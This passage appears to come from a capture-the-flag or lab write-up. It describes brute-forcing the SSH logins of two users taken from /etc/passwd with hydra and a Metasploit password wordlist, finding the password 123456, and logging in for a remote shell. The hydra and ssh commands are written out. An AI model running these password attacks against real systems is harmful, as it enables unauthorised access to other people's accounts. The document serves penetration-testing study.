# Other access methods

To learn more about how the system works, and possibly other vectors of exploits, I decided to further explore the web application.

### Brute forcing SSH password

As we have seen previously, there are 2 users that stands out in the `/etc/passwd` file: _joshua_ and _charles_. I attempted a password brute force attack on their SSH login with the wordlist from Metasploit `/usr/share/wordlists/metasploit/unix_passwords.txt` :

{% code overflow="wrap" %}
```sh
$ hydra -l joshua -P <wordlist> -t 6 ssh://<host>
$ hydra -l charles -P <wordlist> -t 6 ssh://<host>
```
{% endcode %}

<figure><img src="https://667177664-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMsAGomcNx5xaB1xFygc9%2Fuploads%2FoqIu75tnK3KFlmFWjX5o%2Fimage.png?alt=media&#x26;token=0ce5cfe9-1669-43f5-8d08-17a7719e5e84" alt=""><figcaption></figcaption></figure>

I found the password _**123456**_ for both usernames `joshua` and `charles`. We can now SSH with the usernames and gain a remote shell:

```sh
$ ssh <user>@<host>
```

